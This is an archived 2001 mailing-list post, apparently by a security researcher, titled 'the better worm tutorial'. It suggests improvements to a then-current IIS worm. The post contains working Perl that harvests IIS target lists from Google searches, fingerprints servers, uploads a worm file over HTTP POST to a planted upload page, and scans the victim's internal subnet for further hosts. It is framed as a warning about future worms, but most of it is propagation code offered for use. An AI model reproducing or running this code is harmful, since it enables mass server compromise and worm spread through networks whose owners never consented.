the better worm tutorial

From: Roelof (roelofat_private)
Date: Wed Sep 19 2001 - 04:05:34 PDT

  • Next message: mrcdz: "Re: wuftpd 2.6.1 advisory/exploit"

    (excuse the X posting - I dont know where it will be moderated)
    Moderators,
    
    Here some comments and code on the new worm. Publish if you think it might
    do any good. If not I'll understand 100%. 
    
    --cut--
    
    Three things that could have made the worm better/worse:
    
    1. Targetting
    -------------
    The targetting sucks. Random targetting is just SO ancient, and its simply
    not nice. Why not use the technology out there - search engines. Lets say
    I want to get some random 1000 Microsoft IIS servers - I get on to Google
    and search for:
    
    <random word here> +.asp -"application service provider"
    
    ..and browse through the list. In fact hereby a sweet little piece of PERL
    that will do just that:
    
    #!/usr/bin/perl
    use Socket;
    $host="www.google.com";
    $port=80;
    @nogos=("av.com","yahoo","google.com","excite","lycos","geocities");
    $target = inet_aton($host);
    $term="computer";
    
    for ($i=0; $i<1000; $i=$i+100){
     @response=sendraw("GET /search?q=$term+%22.asp%22+-application+-service+-provider&n um=100&hl=en&safe=off&start=$i&sa=N HTTP/1.0\r\n\r\n");
     foreach $line (@response){
      if ($line =~ /http/){
       ($duh,$one)=split(/\/\//,$line);
       if ($one =~ /\.asp/) {
        ($two,$duh)=split(/\//,$one);
        $flag=0;
        foreach $nogo (@nogos){
         if ($two =~ /$nogo/){$flag=1;}
        }
        if ($flag==0){$url{$two}++;print $one;}
       }
      }
     }
    }
    foreach $theurl (keys(%url)){
     print "site: $theurl";
    }
    
    ###good old sendraw
    sub sendraw { 
     my ($pstr)=@_;
     socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || return "";
     if(connect(S,pack "SnA4x8",2,$port,$target)){
      my @in="";
      select(S); $|=1; print $pstr;
      while(<S>) { 
       push @in,$_; last if ($line=~ /^[\n\r]+$/ );}
      select(STDOUT); return @in;
     } else { return ""; }
    }
    
    And there you go +- 1000 targets +- 75% of them nice fresh IIS boxes.
    Select a new term, and hey - another 1000 IIS servers. Just shove a list
    with 10000 terms in there, choose a random one and mine..it does not have
    to be Google - there are zillions of search engines out there - pick a
    random one. Now - isn't that a bit more effective than hitting random
    boxes?? Then - why the heck hitting a box when you not even sure its an
    IIS server? DUH!!!
    
    ##check for IIS
    sub isms{
     ($name)=@_;
     @results = sendraw("HEAD / HTTP/1.0\r\n\r\n");
     foreach $line (@results){
      if ($line =~ /Microsoft/) {return "1";}
     }
     return "0";
    }
    
    2. Getting the worm at the other end.
    ------------------------------------- 
    TFTP?? NOT! Why - is everyone allowing UDP to pass? I think not. How many
    hosts allowing outside connections? Grim - simply grim. Just not cricket.
    Why not get the worm on the box with HTTP only? Say - you can execute a
    command on the server right? And do an "echo" right?? Why not create a
    page where you can upload anything? Hereby the uploader to upload the worm
    to the next host.
    
    Uploader itself:
    
    ####use like this:$uploadresult=loader($host,$updir,$filename);
    sub loader{
    ($host,$dir,$filename)=@_;
    $target = inet_aton($host);
    $headerfile=<<EOT
    -----------------------------6628240843774015751103527590
    Content-Disposition: form-data; name="File1"; filename="$filename"
    Content-Type: application/octet-stream
    
    EOT
    ;
    $footerfile=<<EOT
    
    -----------------------------6628240843774015751103527590
    Content-Disposition: form-data; name="Action"
    
    Upload the file
    -----------------------------6628240843774015751103527590--
    EOT
    ;
    
    $headerfile=~s/\n/\r\n/g;
    $footerfile=~s/\n/\r\n/g;
    my $file;
    open (IN,$filename) || return "1";
    binmode(IN);
    while (<IN>){
     $file=$file.$_;
    }
    $subheader=$headerfile.$file.$footerfile;
    $filelength=length($subheader);
    print "length of the request is $filelength\n";
    $headerhttp=<<EOT
    POST /$dir/upload.asp HTTP/1.0
    User-Agent: None
    Host: $host
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png,*/*
    Accept-Encoding: gzip
    Accept-Charset: iso-8859-1,*,utf-8
    Content-type: multipart/form-data; boundary=---------------------------6628240843774015751103527590
    Content-Length: $filelength
    
    EOT
    ;
    $headerhttp=~s/\n/\r\n/g;  
    $fullrequest=$headerhttp.$subheader;
    @r=sendraw($fullrequest);
    foreach $line (@r){
     if ($line=~/Olifante/) {return "0";}
    }
    return "1";
    }
    
    Thats the loader itself. The page to create the upload page on the server
    has been documented extensively before by myself. Go to packetstorm, and
    search for "unitools". The tar file contains the upload pages and the code
    to create the files on the server.
    
    With this, the worm can be propogated through firewalls that do NAT and
    filter everything but port 80. Only 80...thats all you need.
    
    3. Further spread
    -----------------
    In many instances, webservers are connected with 1:1 NAT behind a
    firewall. IP numbers of webservers in such schenarios are 10s, 172.16 and
    192.168s. Now - again - if the server can't go out - why not go
    in? Look at the class C, test for host there and spread internally:
    
    @results=`ipconfig`;
    foreach $line (@results){
     chomp $line;
     if ($line=~/Addr/){
      ($duh,$myip)=split(/:/,$line);
     }
    }
    ##start internal scan
    $num=0;
    ($one,$two,$three,$duh)=split(/\./,$myip);
    for ($i=1; $i<255; $i++){
     $scanip=$one.".".$two.".".$three.".".$i;
     @results=`ping -n 1 -w 40 $scanip`;
     foreach $scanned (@results){
      if ($scanned =~ /TTL/) {
       $eight=Sconnect(80,$scanip);
       if ($eight ==1){
        $ismic=isms($scanip);
        if ($ismic eq "1"){
         ($duh,$miner)=split(/from/,$scanned);
         (@mine[$num],$duh)=split(/\:/,$miner);
         @mine[$num] =~ s/ //g; 
         $num++;
        }
       }
      }
     }
    }
    sub Sconnect
    {
     my($port,$address)=@_;
     my $ret=0;
     my $protocole=(getprotobyname("tcp"))[2];
     my $MASK="S n a4 x8";
     my @byte=split /\./, $address;
     $packAddress=pack("C4",@byte);
     my($connectPointer)=pack($MASK,&AF_INET,$port,$packAddress);
     socket(SOCKET,&AF_INET,&SOCK_STREAM,$protocole)||die "Socket SConnect: $!\n";
     if(connect(SOCKET,$connectPointer)){
      $ret=1;
      close SOCKET;
     } 
     return $ret;
    }  
    
    With this we get all IIS server on the class C. Anyhow..
    
    Bottom line? Well - just this - worms can be much more effective - so
    beware - this is just the start. The Outlook/IE bit - nicely done (in a
    severe twisted sense). 
    
    Have a wonderful day,
    Roelof.
    
    ------------------------------------------------------
    Roelof W Temmingh               SensePost IT security
    roelofat_private            +27 83 448 6996
                    http://www.sensepost.com                
    



    This archive was generated by hypermail 2b30 : Thu Sep 20 2001 - 09:23:12 PDT